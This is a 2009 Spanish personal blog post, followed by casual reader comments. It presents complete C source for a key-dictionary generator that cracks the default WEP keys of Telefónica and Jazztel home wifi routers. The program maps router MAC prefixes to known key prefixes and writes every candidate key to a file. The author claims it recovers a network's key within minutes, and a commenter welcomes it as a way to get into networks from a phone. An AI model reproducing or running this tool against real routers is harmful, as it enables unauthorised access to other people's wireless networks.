martes, 2 de junio de 2009

WEP Cracking

He escrito este pequeño programa en C que puede que en algún momento le sea de utilidad a alguien. Es un generador de diccionarios para "crackear" las redes wifi de Telefónica y Jazztel. Vamos esas que tienen por nombre "WLAN_XX" o "JAZZTEL_XX". El "algoritmo" (si se le puede llamar así) lo encontré por Internet y es realmente muy sencillo.

En principio es posible conseguir la clave de una de estas redes en cuestión de minutos, vamos, de uno o dos minutos.

El código es bastante chapucero, está escrito en C'99 y debería de compilar en cualquier compilador de C. Si alguien tiene sugerencias, dudas o lo que sea que pregunte ;). El código va sin licencia así que se puede considerar de dominio público., después de todo seguro que buscando por Internet hay mil cosas parecidas, pero estaba ocioso y lo escribí.

Código:

/* Generador de passwords para redes Imagenio y Jazztel *
* junio 2009 *
* v: 0.1 *
* a: tquimico */


#include <stdio.h>
#include <string.h>

void detect_router(char *bssid, char t, char *router) {
switch(t)
{
case 'J':
strcpy(router,"E001D20");
break;
default:
if (strncmp(bssid,"00:01:38",8) == 0)
strcpy(router,"X000138");
else if (strncmp(bssid,"00:03:C9",8) == 0)
strcpy(router,"C0030DA");
else if (strncmp(bssid,"00:16:38",8) == 0)
strcpy(router,"C0030DA");
else if (strncmp(bssid,"00:03:DA",8) == 0)
strcpy(router,"C0030DA");
else if (strncmp(bssid,"00:19:15",8) == 0)
strcpy(router,"C0030DA");
else if (strncmp(bssid,"00:1A:2B",8) == 0)
strcpy(router,"C001D20");
else if (strncmp(bssid,"00:1D:20",8) == 0)
strcpy(router,"C001D20");
else if (strncmp(bssid,"00:60:B3",8) == 0)
strcpy(router,"Z001349");
else if (strncmp(bssid,"00:A0:C5",8) == 0)
strcpy(router,"Z001349");
else if (strncmp(bssid,"00:13:49",8) == 0)
strcpy(router,"Z001349");
else if (strncmp(bssid,"00:02:CF",8) == 0)
strcpy(router,"Z0002CF");
else if (strncmp(bssid,"00:19:CB",8) == 0)
strcpy(router,"Z0002CF");
}
return;
}

int main(int argc, char *argv[]) {

if (argc != 4) {
printf("l33t boy ;)\n");
printf("usage: keygen BSSID ESSID FILE\n");
return 1;
}

char router[8];
int n = strlen(argv[2]);
char operador = argv[2][0];

FILE *fp;

if ((fp = fopen(argv[3], "w")) == NULL) {
printf("Can't open file\n");
return 1;
}

detect_router(argv[1], operador, router);

int i;
for (i = 0 ; i < 65536 ; i++) {
fprintf(fp, "%s%04X",router,i);
fputc(argv[2][n-2],fp);
fputc(argv[2][n-1],fp);
fputc('\n',fp);
}
fclose(fp);

return 0;
}

Actualización: añadido el "{" que faltaba y blogger se comió. Gracias Bakalito.

8 comentarios:

copazos dijo...

Algo útil para este verano, sí sí.

¿¿Pero tú no ibas a volver a actualizar en 6 meses??.. :P

Duncan dijo...

El mal empieza a asomar. Es el principio del fin. Llega la anarquía a la web dospuntocero. La piratería mata a tus héroes. Él nunca lo haría...

Has tenido mucho tiempo de ocio para dedicarle al blog y te enfangas con los exámenes asomando. Bendita ironía!

mario dijo...

cuándo llega ella?
me gustaría verte antes de marchar de Madrid...

mario dijo...

soy joako

mario dijo...

pero a mario estoy convencido que también le gustaría..

bakalito dijo...

maldito tenor, te falta una llave en el último for.

Pero bastante util, gracias! Ahora se pueden abrir redes con un movil xD

Anónimo dijo...

Buena Tenor.

MartaBG dijo...

no es que yo quiera aportar a tu vida hundimiento... pero te haré caso y escribiré :)
suerte en esos exámenes! ;)